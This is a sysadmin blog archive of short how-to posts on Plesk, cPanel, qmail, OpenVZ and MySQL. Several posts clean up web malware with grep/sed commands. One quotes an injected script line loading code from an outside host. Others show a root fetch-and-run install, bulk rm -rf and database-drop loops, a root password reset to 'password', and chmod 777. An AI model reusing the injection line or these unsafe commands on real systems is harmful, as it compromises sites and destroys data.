Yegor's blog

Small blog about system administration.

Plesk vulnerability: pseudodomains, km0ae9gr6m, RunForestRun, exploit removal

I can confirm it was a plesk security issue that has now been patched and is also well known to them. The hacker only got access to the vhost directory and domains and did not get access to the server.

Basically all .js files were infected with

/*km0ae9gr6m*//*qhk6sa6g1c*/
and a number of js files had
/*km0ae9gr6m*/INFECTED CODE/*qhk6sa6g1c*/
So to clear this up i needed a way to use SSH to scan and look for
/*km0ae9gr6m*/
and
/*qhk6sa6g1c*/
and delete that and everything in between.

I was kind enough to share some code that i adapted to work on my server.
My server runs a folder structure of /var/www/vhosts/ so i CD'd in to /var/www/ and used the following code to clear up the hack.

find vhosts/ -type f -name '*.js' -print0 | xargs -0 perl -i -0777pe 's|/\*km0ae9gr6m\*/.*?/\*qhk6sa6g1c\*/||gs'
The above code needs to be one line only to work.
I then used Grep to search the vhost directory and all folders and files within using

grep -ir km0ae9gr6m *

This worked for me, i hope it does for you guys.

No comments :

Post a Comment

Removing “EVAL(BASE64_DECODE” from all PHP files

Yesterday, almost all installations on our test server had been infected by infamous 

“<?php eval(base64_decode(…)) ?>”   code injection.

We have more than 600 demo sites on our test server and cleaning them using any WordPress plugin out there was simply out of the question! Can you imagine logging into each WordPress, installing plugin, then scanning/cleaning up WordPress… for 600+ WordPress sites?

Below is combination of Linux commands we used. Assuming you have logged into a Linux Shell and already have BACKUP of all files (including infected files) lets move ahead!
Command to list all infected files:

grep -lr --include=*.php "eval(base64_decode" /path/to/webroot

This is not necessary but its better to check some files manually to confirm if they have malicious code we are looking for. Also we can use this command after running cleanup command to crosscheck if cleanup is really successful.
Command to remove malicious code:

If above command gives you correct output, execute following command to perform actual cleaning:

grep -lr --include=*.php "eval(base64_decode" /path/to/webroot | xargs sed -i.bak 's/<?php eval(base64_decode[^;]*;/<?php\n/g'

Executing above will remove eval(*) codes. Above command will also generate a backup version of files it will modify. For example, if it removes code from index.php, you will find a new fileindex.php.bak in same directory with original content of index.php

Now after running above command, you still find some more infected files, then you need to adjust search and replace parameters in for “sed” part. You may also use following command for a “liberal” cleaning at the risk of breaking something. (in case you really break something, like I did, you can jump to “Troubleshooting” section below!)

grep -lr --include=*.php "eval(base64_decode" /path/to/webroot | xargs sed -i.bak '/eval(base64_decode*/d'

Trying to avoid re-appearance of this code injection

Its really though to cover every possible way to protect yourself from such attach in this post.

If you remember, WordPress community faced this kind of issue because of WP-PhpMyAdmin plugin sometime back. In our case, we found some old WordPress demo sites were having that plugin installed.

To remove WP-PhpMyAdmin plugin form all WordPress sites on your server, execute following command:

find /path/to/webroot -name "wp-phpmyadmin" -type d | xargs rm -rf

Above is all we did to get rid of eval(base64_decode(*)) codes from all files on our test server. If this happens again on our server, I will update this post with added info.
Troubleshooting:

Just in case you end up in a mess, below are some useful commands.

Missing <?php tag in the beginning:

To add “<?php: tag in the beginning of index.php files, in case if you remove it accidentally use following command:

find /var/www/ -name "index.php" | grep "/htdocs/index.php" | xargs grep -L "<?php" | xargs sed -i "1s/^/<?php \n/"

Don’t worry. If you already have a “<?php ” tag in the beginning, it won’t be added again.

Extra Newlines at the top!

If you find after cleanup, extra newlines at the top of your code, then use following command to remove trailing newlines. Extra newlines creates problem for blog feeds.

find . -name '*.php' -exec sed -i -e :a -e '/^\n*$/{$d;N;ba' -e '}' '{}' \;

I hope you will find this stuff useful.

No comments :

Post a Comment

HOWTO: httpd dead but subsys locked

I just finished installing CentOS 5.6 on my machine and when i tried to start httpd service I encountered this error:

"httpd dead but subsys locked"

Googling around I found this commands

check for running processes

ipcs -s | grep apache

(more info @http://linux.about.com/library/cmd/blcmdl8_ipcs.htm)

stop processes

ipcs -s | grep apache | perl -e 'while (<STDIN>) { @a=split(/\s+/); print `ipcrm sem $a[1]`}'


Remove httpd lock file

cd /var/lock/subsys && rm httpd
service httpd restart

1 comment :

Post a Comment

exiqgrep exit with error “Line mismatch”

Sometime exiqgrep exit with error Line mismatch when you try to remove emails with the -Mrm option

#exiqgrep -o 604800
Line mismatch: 170d 1IGLxw-0004Tw-Ne

You can remove the particular entry that errors out as follows.
# exim -bpru | grep “170d” | awk ‘{print $2}’
1IGLxw-0004Tw-Ne
1IGTFn-0000VM-UI
#exim -bpru | grep “170d” | awk ‘{print $2}’ | xargs -n 1 -P 20 exim -Mrm

You will see something like,

Spool data file for 1IGLxw-0004Tw-Ne does not exist
Spool data file for 1IGTFn-0000VM-UI does not exist
Continuing, to ensure all files removed
Continuing, to ensure all files removed
Message 1IGTFn-0000VM-UI has been removed or did not exist
Message 1IGLxw-0004Tw-Ne has been removed or did not exist


Nevermind, those messages should be removed now
Repeat the process until all the mal-formated entries are removed.
Did that work for you ?

No comments :

Post a Comment

The script to kill DoS/DDoS botnet on the OpenVZ hardware node

I recently faced the problem of DDoS attack OpenVZ containers.
DDoS net consists of these IPs. They are attack VZ servers:


63.128.150.155
69.167.151.27
129.33.190.96
176.56.225.227

So, at the first I did the following thing at the HW node:

# iptables -I FORWARD -s 63.128.150.155 -j DROP && 
iptables -I FORWARD -s 69.167.151.27 -j DROP && 
iptables -I FORWARD -s 129.33.190.96  -j DROP && 
iptables -I FORWARD -s 176.56.225.227 -j DROP

Then, I made the script to kill that botnet:

# tcpdump -n > tcp.dmp;cat tcp.dmp | grep ripe.net| awk '{print $3}'| sed -r 's/.dom/ /g'| awk '{print $1}' | sort -n | uniq -c| awk '{print $2}'| xargs -i iptables -A INPUT -s {} -j DROP && cat tcp.dmp | grep ripe.net| awk '{print $3}'| sed -r 's/.dom/ /g'| awk '{print $1}' | sort -n | uniq -c| awk '{print $2}'| xargs -i iptables -A FORWARD -s {} -j DROP && cat tcp.dmp | grep ripe.net| awk '{print $3}'| sed -r 's/.dom/ /g'| awk '{print $1}' | sort -n | uniq -c| awk '{print $2}'| xargs -i iptables -A OUTPUT -s {} -j DROP

Actually, tcpdump rulezz :-)

No comments :

Post a Comment

How to prevent DoS/DDoS attack on linux server

All web servers been connected to the Internet subjected to DoS (Denial of Service) or DDoS (Distrubuted Denial of Service) attacks in some kind or another, where hackers or attackers launch large amount connections consistently and persistently to the server, and in advanced stage, distributed from multiple IP addresses or sources, in the hope to bring down the server or use up all network bandwidth and system resources to deny web pages serving or website not responding to legitimate visitors.

You can detect the ddos using the following command

#netstat -anp|grep tcp|awk ‘{print $5}’| cut -d : -f1|sort|uniq -c|sort -n

It will shows the number of connections from all IPs to the server.

There are plenty of ways to prevent, stop, fight and kill off DDoS attack, such as using firewall. 
A low cost, and probably free method is by using software based firewall or filtering service. 
(D)DoS-Deflate is a free open source Unix/Linux script by MediaLayer that automatically mitigate (D)DoS attacks. It claims to be the best, free, open source solution to protect servers against some of the most excruciating DDoS attacks.

(D)DoS-Deflate script basically monitors and tracks the IP addresses are sending and establishing large amount of TCP network connections such as mass emailing, DoS pings, HTTP requests) by using “netstat” command, which is the symptom of a denial of service attack. 
When it detects number of connections from a single node that exceeds certain preset limit, the script will automatically uses APF or IPTABLES to ban and block the IPs. 
Depending on the configuration, the banned IP addresses would be unbanned using APF or IPTABLES (only works on APF v 0.96 or better).

Installation and setup of (D)DOS-Deflate on the server is extremely easy. Simply login as root by open SSH secure shell access to the server, and run the the following commands one by one:

wget http://www.inetbase.com/scripts/ddos/install.sh
chmod 0700 install.sh
./install.sh

To uninstall the (D)DOS-Deflate, run the following commands one by one instead:

wget http://www.inetbase.com/scripts/ddos/uninstall.ddos
chmod 0700 uninstall.ddos
./uninstall.ddos

The configuration file for (D)DOS-Deflate is ddos.conf, and by default it will have the following values:

FREQ=1
NO_OF_CONNECTIONS=50
APF_BAN=1
KILL=1
EMAIL_TO=”root”
BAN_PERIOD=600


Users can change any of these settings to suit the different need or usage pattern of different servers. 
It’s also possible to whitelist and permanently unblock (never ban) IP addresses by listing them in /usr/local/ddos/ignore.ip.list file. 
If you plan to execute and run the script interactively, users can set KILL=0 so that any bad IPs detected are not banned

2 comments :

Post a Comment

PHP segfault problem at cPanel based servers

I just looked at my logs and I'm noticing that every so often PHP processes are segfaulting.

Apr 23 01:53:04 deuce kernel: php[13001]: segfault at 0000000000000000 rip 00000000007579c2 rsp 00007fff43b278d0 error 4 
Apr 23 01:53:07 deuce kernel: php[13010] general protection rip:7579da rsp:7fff79886c60 error:0

If you have .core files, you can track down the PHP application causing it as those .core files would generate in the folder where the script is executing.

You can check if you have .core files enabled by running this command:

# ulimit -a

If you see the following:

core file size (blocks, -c) 0

Then .core files will not form. You can change this temporarily to unlimited by doing the following:

#ulimit -c unlimited

Running "ulimit -a" after that point should show this as unlimited:


core file size (blocks, -c) unlimited


If you have any issues with the above not working, you might review this guide for increasing core file dump limits:

After you do have .core files forming, you can use this guide as a basis for reading the core dump files:

No comments :

Post a Comment

HOWTO: Clearing /tmp in cPanel based servers.

You should be very careful what you delete out of the /tmp partition. I would recommend having someone knowledgable have a look for you so that they can advise you on what is filling it up, and more importantly, why.

Attention! Do not delete mysql.sock and horde.log. They are much in need.

cd /tmp

ls -al sess_*

this is what takes up most of it in case you do not clear up the same regularly.

rm -f sess_*

ls -al *.wrk

This comes up in case you use mod_gzip

rm -f *.wrk

now check what other stuff lies there.

No comments :

Post a Comment

Bash tips & tricks

I know that bash is not really a scripting language but there are times when you just want to do things on a single command line.

So, if you want for example drop some databases from a folder list:

ls /var/lib/mysql | grep dbmatch* | while read i; do echo “drop database $i”; done | mysql


Or, if you want to change same content on multiple files:

cd folder ; grep “oldvalue” * -l | while read f; do cat $f | sed s/oldvalue/newvalue/ > /tmp/x; cat /tmp/x > $f; done

No comments :

Post a Comment

HOWTO: Restore Plesk 8 backup on Plesk 9 server

Copy backup to plesk9 server and run:

/usr/local/psa/bin/pre9-backup-convert -v convert -d /var/lib/psa/dumps/ /root/plesk8-backup-file

Then go to plesk 9 panel and restore the backup from the client and/or precreated domain.

Keep it simple ;-)

1 comment :

Post a Comment

HOWTO: Easy clean infected sites

When you experience code injection in your site and there is only appending of code to the end of your site files you can clean it with :

cd /var/www/vhosts/<your-domain-com>/httpdocs
find . -type f -exec sed -i ‘/oployau.fancountblogger.com/d’ {} \;

for lines like :

js/ac_runactivecontent.js:document.write(‘<s’+'cript type=”text/javascript” src=”http://oployau.fancountblogger.com:8080/Link.js”></scr’+'ipt>’);

or just

find . -name “*.php” -type f -exec sed -i ‘/eval(base64_decode(/d’ {} \;

if you want to check/repair only php files with base64 encoded injection.

Of course you need shell access for this or you can just request you hosting guys to do it for you.

No comments :

Post a Comment

Adding a subdomain pointing to custom folder (for example, inside webroot)

Usually, I work with CPanel.
But some time ago my friend asked me to move his website to a server with Plesk installed by default.
Website required domain sub.domain.com to point to a folder inside main site webroot.
I surprizingly found, that with Plesk 9 it is impossible (it was ok with old versions where Plesk allowed to choose subdomain destination folder). I had to find a way to overcome that.

It is easy. But you need to be root for that.

Open /var/www/vhosts/domain.com/subdomains/sub/conf/vhost.conf in editor.

Add to it the following contents (for sub.domain.com):

DocumentRoot /var/www/vhosts/domain.com/httpdocs/sub 
<Directory /var/www/vhosts/domain.com/httpdocs/sub> 
     <IfModule sapi_apache2.c> 
        php_admin_flag engine on 
        php_admin_flag safe_mode off 
        php_admin_value open_basedir "/var/www/vhosts/domain.com/httpdocs:/tmp" 
     </IfModule> 
     <IfModule mod_php5.c> 
        php_admin_flag engine on 
        php_admin_flag safe_mode off 
        php_admin_value open_basedir "/var/www/vhosts/domain.com/httpdocs:/tmp" 
     </IfModule> 
 Options -Includes -ExecCGI 
</Directory>

After that you need to reconfigure Plesk by using command

# /usr/local/psa/admin/bin/websrvmng -a

1 comment :

Post a Comment

HOWTO: Force HTTPS for the Plesk webmail (Horde)

If your using Horde as your preferred webmail client on a Plesk virtual hosting server, its advisable to enable (and force) the use of HTTPS in order to secure webmail users against their login information and email communication being compromised.

To force HTTPS within Horde:

# nano -w /etc/psa-webmail/horde/horde/conf.php

Then change:

$conf['use_ssl'] = 2;

to:

$conf['use_ssl'] = 1;

Next edit the Horde virtual host file:

nano -w /etc/httpd/conf.d/zzz_horde_vhost.conf

And just below the "ServerAdmin email@address.com" line add:

RewriteEngine On
RewriteCond %{HTTPS} off 
RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI}


Make sure to tab the lines in to match the delimiter of the previous servername/alias/admin lines.

Now restart Apache so it can pickup the changes:

# /etc/init.d/httpd restart

These changes will enable the following:

1. It will automatically re-direct connections from http://webmail.your-domain.com to httpS://webmail.your-domain.com before the user logins in, thus securing their login username and password.

2. It will disable non-SSL traffic to the Horde framework in the event the re-write rules are removed or otherwise edited.

No comments :

Post a Comment

Any operation on a VE gives me "Cannot lock VE". How do I solve it?

VE is locked when some operation (backup, migration, start / stop, etc.) with this VE is in progress. 
You can determine which process is holding VE #101 using the following command on the hardware node:

# cat /vz/lock/101.lck

You can kill that process if needed. Make sure that the process is really killed. 
If there is no process with that PID on the node, just remove the lockfile.

No comments :

Post a Comment

HOWTO: Install Ruby on cPanel based server

If you are using CPanel 11 (the latest version available at this time) you can easily install ruby on your system using CPanel.
Previously, you had to do this using operating system packages or manually from sources.
Now, we can just run /scripts/installruby and this will do everything for us:

download, compile and install ruby
download and install RubyGems and some gems like rails and mongrel

/scripts/installruby

At this time it will install the latest 1.8 ruby:
ruby -v
ruby 1.8.6 (2007-03-13 patchlevel 0) [i686-linux]

and the following gems (using rubygems-1.1.1):


gem list
actionmailer (2.1.0)
actionpack (2.1.0)
activerecord (2.1.0)
activeresource (2.1.0)
activesupport (2.1.0)
cgi_multipart_eof_fix (2.5.0)
daemons (1.0.10)
fastthread (1.0.1)
gem_plugin (0.2.3)
mongrel (1.1.5)
rails (2.1.0)
rake (0.8.1)


This should be enough for running ruby scripts, but if you want to use Ruby On Rails from within cPanel then you just have to complete this by running /usr/local/cpanel/bin/ror_setup.
If you are interested to deploy RoR environments on CPanel you can do this from inside CPanel.

For more information check out the CPanel docs.

No comments :

Post a Comment

Clear email queues with qmHandle

Download qmHandle from SourceForge. You actually only need the script 'qmHandle' so use that if you have it handy. Upload it to the server and untar it if necessary. You may download the file directly from SourceForge using the wget command:

# wget http://sourceforge.net/projects/qmhandle/files/qmhandle-1.3/qmhandle-1.3.2/qmhandle-1.3.2.tar.gz/download


Then decompress the file using the tar command:

# tar -xvzf qmhandle-1.3.2.tar.gz

First it is recommended to shutdown qmail using the service command to prevent possible corruption of the mail queue:

# service qmail stop

When you are done with qmhandle be sure to start it again using the service command:

# service qmail start

qmHandle can show it's own options when run without a flag:

./qmHandle 

qmHandle v1.3.2 Copyright 1998-2003 Michele Beltrame 
Available parameters: 
-a : try to send queued messages now (qmail must be running) 
-l : list message queues 
-L : list local message queue 
-R : list remote message queue 
-s : show some statistics 
-mN : display message number N 
-dN : delete message number N 
-Stext : delete all messages that have/contain text as Subject 
-D : delete all messages in the queue (local and remote) 
-V : print program version 

 Additional (optional) parameters: 
-c : display colored output 
-N : list message numbers only (to be used either with -l, -L or -R) 
You can view/delete multiple message i.e. -d123 -v456 -d567

No comments :

Post a Comment

HOWTO: reset password for "admin" account in Plesk Panel

Plesk Panel authenticates user "admin" by trying to authorize access to the Plesk Panel database using the password provided.

Use /usr/local/psa/bin/admin utility to prompt the password for user "admin":

# /usr/local/psa/bin/admin --show-password
Use  /usr/local/psa/bin/init_conf to reset the password for user "admin":
# /usr/local/psa/bin/init_conf -u -passwd <new_password>

No comments :

Post a Comment

PHP segfault issues

In most cases, segfaults are caused by hardware problems.

[17546.670984] php[23330]: segfault at 7fff69c21dc0 ip 000000000062844d sp 00007fff69c21da0 error 6 in php5[400000+519000]
[17606.986485] php[23404]: segfault at 7ffffd34bdc0 ip 000000000062844d sp 00007ffffd34bda0 error 6 in php5[400000+519000]
[17666.397216] php[23507]: segfault at 7fff71a33bd0 ip 000000000062844d sp 00007fff71a33bb0 error 6 in php5[400000+519000]
[17726.683409] php[23542]: segfault at 7fff1510db80 ip 000000000062844d sp 00007fff1510db60 error 6 in php5[400000+519000]
[17786.976288] php[23579]: segfault at 7fffc6f0dfc0 ip 00007fbabc648798 sp 00007fffc6f0df80 error 6 in libc-2.9.so[7fbabc5ce000+168000]
[17847.269009] php[23617]: segfault at 7fff71433eb0 ip 000000000062844d sp 00007fff71433e90 error 6 in php5[400000+519000]
[17906.571567] php[23665]: segfault at 7fffe9fb2150 ip 000000000062844d sp 00007fffe9fb2130 error 6 in php5[400000+519000]
[17966.860766] php[23706]: segfault at 7fff9ccd1e60 ip 000000000062844d sp 00007fff9ccd1e40 error 6 in php5[400000+519000]



I thought segfaults are caused by bad programming? Maybe there is a bug in the mysql module in php?
After thinking about it again and searching the forum I have set the following:

max_connections = 500 
max_user_connections = 500

This seems to fix the issues and it runs now without problems.
Mysql only allows 151 connections by default which is to limited for my implementation (it seems).

No comments :

Post a Comment

HOWTO: Reset a MySQL Password

A MySQL password can be reset in 5 easy steps:

  1. Stop the mysqld daemon process.
  2. Start the mysqld daemon process with the –skip-grant-tables option.
  3. Start the mysql client with the -u root option.
  4. Execute the UPDATE mysql.user SET Password=PASSWORD(‘password’) WHERE User=’root’;
  5. Execute the FLUSH PRIVILEGES; command.
These steps reset the password for the “root” account to “password.” To change the password for a different account or to set a different password, just edit the variables in single quotes in step 4.

If the user knows his/her existing MySQL root password, steps 1-3 are not necessary.

No comments :

Post a Comment

Virtuozzo Parameters Explained

Primary Parameters


1. numproc = max ‘number of processes’ and kernel level threads allowed for a VE
It is the total number of processes that can be run on a server. Ie httpd, ftp, mail spawn a process to handle each client and limiting number of processes define how many clients the application will be able to handle in parallel. However number of processes does not limit how heavy the application may be. But increasing this value to more than about 16000 processes start to cause poor responsiveness of the system, worsening when the number grows. Total number of processes exceeding 32000 is very likely to cause hang of the system. With typical processes, it is normal to be able to run only up to 8000 processes in a system. The number of sockes needs to be controlled because each socket needs certain amount of memory for receive and transmit buffers. Barrier of this parameter should be set equal to the limit.

2. numtcpsock = max ‘number of TCP sockets’
This parameter limits the number of TCP connections and, thus, the number of clients the server application can handle in parallel. If each VE has its own set of IP addresses, there are no direct limits on the total number of TCP sockets in the system.Barrier of this parameter should be set equal to the limit.

3. numothersock = max ‘number of sockets other than TCP’
Local sockets (sockets used for communication inside the system), UDPsockets (DNS queries). The number of sockets needs to be controlled because each socket needs certain amount of memory for receive and transmit buffers. Barrier of this parameter should be set equal to the limit.

4. vmguarpages = ‘virtual memory guaranteed pages’
This parameter controls how much memory is available to the VE. The more clients are served or the more “heavy” the application is, the more memory it needs The meaning of the limit for the vmguarpages parameter is unspecified and should be set to the maximal allowed value.If the current amount of allocated memory space does not exceed the guaranteed amount (the barrier of vmguarpages), memory allocations of VE applications always succeed. If the current amount of allocated memory space exceeds the guarantee but below the barrier of privvmpages, allocations may or may not succeed, depending on the total amount of available memory in the system.

Secondary Parameters


1. kmemsize = ‘kernel memory size’
Size of unswappable kernel memory allocated for the internal kernel structures. This parameter is related to the number of processes, numproc.Kmemsize limits can’t be set arbitrarily high. It is important to have a certain safety gap between the barrier and the limit of the kmemsize parameter. Equal barrier and limit of the kmemsize parameter may lead to the situation where the kernel will need to kill Virtual Environment’ applications to keep the kmemsize usage under the limit.

2. tcpsndbuf = total size of ‘send buffers for TCP sockets’
The amount of kernel memory allocated for the data sent from an application to a TCP socket. tcpsndbuf parameter depends on number of TCP sockets, numtcpsock and should allow for some minimal amount of socket buffer memory for each socket.

3. tcprcvbuf = total size of ‘receive buffers for TCP’
The amount of kernel memory allocated for the data received from the remote side, but not read by the local application yet. Tcprcvbuf parameter depends on number of TCP sockets, numtcpsock and should allow for some minimal amount of socket buffer memory for each socket.

4. othersockbuf = total size of ‘buffers used by other sockets’
Othersockbuf parameter depends on number of non-TCP sockets,numothersock. Othersockbuf configuration should satisfy,othersockbuf_{lim} – othersockbuf_{bar} \ge 2.5KB \cdot numothersock.Increased limit for othersockbuf is necessary for high performance of communications through local sockets. However, similarly to tcpsndbuf, hitting othersockbuf affects the communication performance only and does not affect the functionality. The total amount of other sock buf consumable by all VE in the system plus the kmemsize and other socketbuffers is limited by the hardware resources of the system

5. dgramrcvbuf = total size of ‘receive buffers of UDP and other datagram protocol’
The total size of buffers used to temporary store the incoming packets of UDP and other datagram protocols. Dgramrcvbuf parameters depend on number of non-TCP sockets (numothersock). dgramrcvbuf limits usually don’t need to be high. Only if the VE needs to send and receive very large datagrams, the barriers for both othersockbuf and dgramrcvbuf parameters should be raised.

6. oomguarpages = ‘out of memory guarantee in pages’
Any VE process will not be killed even in case of heavy memory shortage if the current memory consumption (including both physical memory and swap) does not reach the oomguarpages barrier.oomguarpages parameter is related to vmguarpages. If applications start to consume more memory than the computer has, the system faces an out-of-memory condition. In this case the operating system will start to kill VE processes to free some memory and prevent the total death of the system. oomguarpages parameter accounts the total amount of memory and swap space used by the processes of a particular Virtual Environment.The barrier of the oomguarpages parameter is the out-of-memory guarantee.

Auxiliary Parameters


1. privvmpages = ‘private virtual memory pages’
privvmpages parameter allows controlling the amount of memory allocated by applications. The memory that is always shared among different applications is not included in this resource parameter. The barrier and the limit of privvmpages parameter control the upper boundary of the total size of allocated memory. Note that this upper boundary doesn’t guarantee that the Virtual Environment will be able to allocate that much memory, neither does it guarantee that other Virtual Environments will be able to allocate their fair share of memory. The primary mechanism to control memory allocation is the vmguarpages guarantee.

Privvmpages parameter accounts allocated (but, possibly, not used yet) memory. The accounted value is an estimation how much memory will be really consumed when the Virtual Environment’s applications start to use the allocated memory. Consumed memory is accounted into oomguarpages parameter.

2. lockedpages
The memory not allowed to be swapped out in pages. The size of these pages is also accounted into kmemsize. The barrier may be set equal to the limit or may allow some gap between the barrier and the limit, depending on the nature of applications using memory locking features.

3. shmpages = total size of ‘shared memory pages’
These pages are also accounted into privvmpages. The barrier should be set equal to the limit. The configuration of this parameter doesn’t affect security and stability of the whole system or isolation between Virtual Environments. Its configuration affects functionality and resource shortage reaction of applications in the given Virtual Environment only.

No comments :

Post a Comment

HOWTO: Move Accounts From One cPanel Server To Another

This tutorial explains a simple, straightforward method for migrating cPanel accounts from one server to another. You can use this method to transfer accounts from an old server to a new one, help customers from another host move to your host, etc. This does not even require root access on one end of the migration. Basically, this is a more reliable method than the "Transfer Account from another Server" tool in WHM, which rarely works.

Requirements:
- cPanel on both servers
- WHM access on the new server (one that the accounts are being moved to)
- root access on the new server

Definitions
The server you are transferring the accounts from = "old server"
The server you are transferring the accounts to = "new server"

Instructions
1. Log into WHM of your new server and create a new account called "restore", or anything you like for that matter. Remember the FTP address, username ('restore', in this example), and account password. We will need these for later.

2. Log into the cPanel account you are wanting to transfer on the old server.

3. Click on "Backup >> Generate/Download a Full Backup".

4. Once here, select the backup destination to be "Remote FTP Server".

5. Enter your email address for verification, followed by all of the FTP account information for "restore", which we created on the new server.

-Remote Server: new server's address
-Remote User: restore
-Remote Password: restore's password
-Port: 21


Then, click "Generate Backup". This may take some time to backup the files, depending on how large the account is. You should receive an email provided in the above info once it is complete.

6. Now, log into SSH on your new server.

7. Type in the following commands:

cd /home/restore/public_html

ls

After running the list command above (ls), you should see the tar file of the account on the old server. This means that you have successfully sent the file via FTP to your new server.

8. Now move the tar file to your new server's /home directory with the following command:

mv tar_file_name /home

9. Now, log into WHM on your new server and navigate to "Backup >> Restore a Full Backup/cpmove file"

Once here, you should see the old account's username under "Possible cpmove archives found:".
If you do not, log back into SSH and be sure that the account's tar file has been moved into /home.

10. Type in the account name in the text field in WHM, which is proceeded by "Enter the username for the account you wish to restore:".

11. Click "Restore".

12. Repeat process for additional accounts.

No comments :

Post a Comment

HOWTO: Find which container makes overload on the node.

When you notice than your node is overloaded you could run this simple command to know which container makes high load avg:

(root)>vzlist -o laverage,hostname,ctid

Keep it simple :-)

No comments :

Post a Comment

Qmail “Although I’m listed as a best-preference mx or a for that host”

Another one that I don’t have to fix often so I’ll likely forget it.

Qmail error “Although I’m listed as a best-preference MX or a for that host, it isn’t in my controls/locals file, so I don’t treat it as local. (#5.4.6)

It shows up in the log concatenated:

failure: Sorry._Although_I’m_listed_as_a_best-preference_MX_or_A_for_that_host,/it_isn’t_in_my_cont
rol/locals_file,_so_I_don’t_treat_it_as_local._(#5.4.6)/


Anyway, I fixed it, hopefully correctly, by placing the hostname in the /var/qmail/control/locals file and the /var/qmail/control/rcpthosts file and restarting qmail.

No comments :

Post a Comment

Can’t log in into cPanel after 11.32.2 b15 update

Maybe you also had experienced the situation where you could not log in into cPanel after the recent upgrade to 11.32.15 version. I had the same problem but fixed it with help of cPanel support staff. Here is what the error is and how to solve it..

The error display in browser is:

(ERR_SSL_PROTOCOL_ERROR)

And sometimes backed up by this extensive error output

Internal Server Error

exit level [die] [pid=8572] (setuids failed: Could not resolve UID () or GID ())
at /usr/local/cpanel/Cpanel/Logger.pm line 433
Cpanel::Logger::logger(‘Cpanel::Logger=HASH(0xdc17e0)’, ‘HASH(0xdcf640)’) called at /usr/local/cpanel/Cpanel/Logger.pm line 306
Cpanel::Logger::die(‘Cpanel::Logger=HASH(0xdc17e0)’, ‘setuids failed: Could not resolve UID () or GID ()’) called at /usr/local/cpanel/Cpanel/AccessIds/SetUids.pm line 49
Cpanel::AccessIds::SetUids::setuids(‘cpanellogin’) called at cpsrvd-ssl line 4238
main::__ANON__() called at /usr/local/cpanel/Cpanel/SafeRun/InOut.pm line 28
Cpanel::SafeRun::InOut::inout(‘GLOB(0xd5f130)’, ‘GLOB(0x2011d930)’, ‘CODE(0xd54030)’, ‘/usr/local/cpanel/base/show_template.stor’, ‘docroot’, ‘/usr/local/cpanel/base’, ‘default_login_theme’, ‘cpanel’, …) called at cpsrvd-ssl line 4244
main::process_login_template(‘cpanel’, ‘login’, 1, ‘goto_uri’, ‘/’, ‘dest_uri’, ‘/’, ‘user’, …) called at cpsrvd-ssl line 2634
main::badpass() called at cpsrvd-ssl line 4716
main::handle_auth() called at cpsrvd-ssl line 993
main::handle_one_connection() called at cpsrvd-ssl line 863


Regular forced upcp did not help,Ii had to run the sequence of commands as follow because problem was with perl packages as wells:

/etc/init.d/cpanel restart
/scripts/checkperlmodules –full –force
/etc/init.d/cpanel restart
mv /var/cpanel/sql/eximstats.sql /var/cpanel/sql/eximstats.sql.tmp_working_copy3
/scripts/restartsrv_tailwatchd
mysql eximstats < /var/cpanel/sql/eximstats.sql.tmp_working_copy3
/scripts/upcp –force

And now you should be able to log in without any problems.

No comments :

Post a Comment

Wordpress Owner/Group/Permission Issues on Plesk

Log into Plesk and enable CGI/FastCGI support for your domain.
Go to the Domains tab, click on your domain, then on Setup. 
Make sure PHP support, CGI support, and FastCGI support are all selected.
Click OK to save your changes.
Log into your server with a root or sudo user via SSH.
Make a local copy of the PHP CGI binary program for your domain:
cp /usr/bin/php-cgi /var/www/vhosts/example.com/bin/

Change the ownership of the bin directory and your new local copy of PHP:

chown -R domainuser:psacln /var/www/vhosts/example.com/bin/

Modify or create your local Apache configuration file, vhost.conf:

vim /var/www/vhosts/example.com/conf/vhost.conf 

Add the following lines to the file:
vhost.conf

AddHandler fcgid-script .php
SuexecUserGroup domainuser psacln
<Directory /var/www/vhosts/example.com/httpdocs>
FCGIWrapper /var/www/vhosts/example.com/bin/php-cgi .php
Options +ExecCGI +
FollowSymLinks allow from all
</Directory>


Reload your Apache configuration settings:

/usr/local/psa/admin/sbin/websrvmng -av

Restart Apache:

/etc/init.d/httpd graceful

PHP will now be running as FastCGI as the same user and group that owns your website files.

Adjust your sessions directory:

Since PHP will now be running as the script's user rather than apache, the permissions for the session folder need adjusted to account for this.

chmod 777 /var/lib/php/session

Adjust permissions:

Most CMS software will warn you about security risks related to permissions in the administrative panel somewhere. You probably don't need to run these commands if you're configuring a new domain or have just installed your CMS.

cd /var/www/vhosts/example.com/httpdocs && chown -R domainuser:psacln * && find . -type f -exec chmod 644 {} \; && find . -type d -exec chmod 755 {} \;

You should consider adjusting the number of simultaneous FastCGI processes allowed for each domain and for the server overall, based on the number of domains that you have running FastCGI. The default configuration allows 64 total processes and 8 per domain. Edit your configuration file:

vim /etc/httpd/conf.d/fcgid.conf

Update the following variables, if desired:
fcgid.conf

MaxProcessCount 64 
DefaultMaxClassProcessCount 8

You should set the DefaultMaxClassProcessCount to the number of processes you want a single domain to be able to run simultaneously. Multiply that number by the number of domains that are running FastCGI, and use that number for the MaxProcessCount. 
For example, if you have 4 domains using FastCGI, and you want them to run a maximum of 10 simultaneous processes each, you can set the following values:
fcgid.conf

MaxProcessCount 40 
DefaultMaxClassProcessCount 10 

Do not set these values arbitrarily high, as this may interfere with your server's memory usage. 
Alternately, you can pick a server maximum first for the MaxProcessCount, and then divide by the number of your domains to set the DefaultMaxClassProcessCount value.

No comments :

Post a Comment

Something about line numbers in file

To print line # 26, enter:

# sed -n '26p' /etc/ssh/sshd_config

Use a text editor such as vi to edit the file, enter:
# vi +26 etc/ssh/sshd_config

No comments :

Post a Comment

spamd failed @ Tue Jan 24 8:38:56 2010 . A restart was attempted automatically

If the cPanel is alerting you repeatedly by filling your mail box with 

‘spamd failed @ Tue Jan 24 8:38:56 2010 . A restart was attempted automatically’ 

error message, then here is the best possible way to fix this problem. Perform the below mentioed steps one by one to fix it permanently.
* You can see the spamd process by executing ps with the combination of grep command.
root@cpanel [~]# ps -efH | grep spamd
root 16975 16861 0 04:49 pts/0 00:00:00 grep spamd
root 16463 1 0 04:31 ? 00:00:01 /usr/bin/spamd -d –allowed-ips=127.0.0.1 –pidfile=/var/run/spamd.pid –max-children=3 –max-spare=1
root 16476 16463 0 04:31 ? 00:00:00 spamd child


* Remove the spamd process ids (pids) by running this command:

killall -9 spamd

* First, Make sure spamd is not running and then perform the following:

rm -rf /var/run/chkservd/spamd

* Once you removed the spamd chkservd script, restart the chkservd

/scripts/restartsrv_chkservd

That’s all.

No comments :

Post a Comment

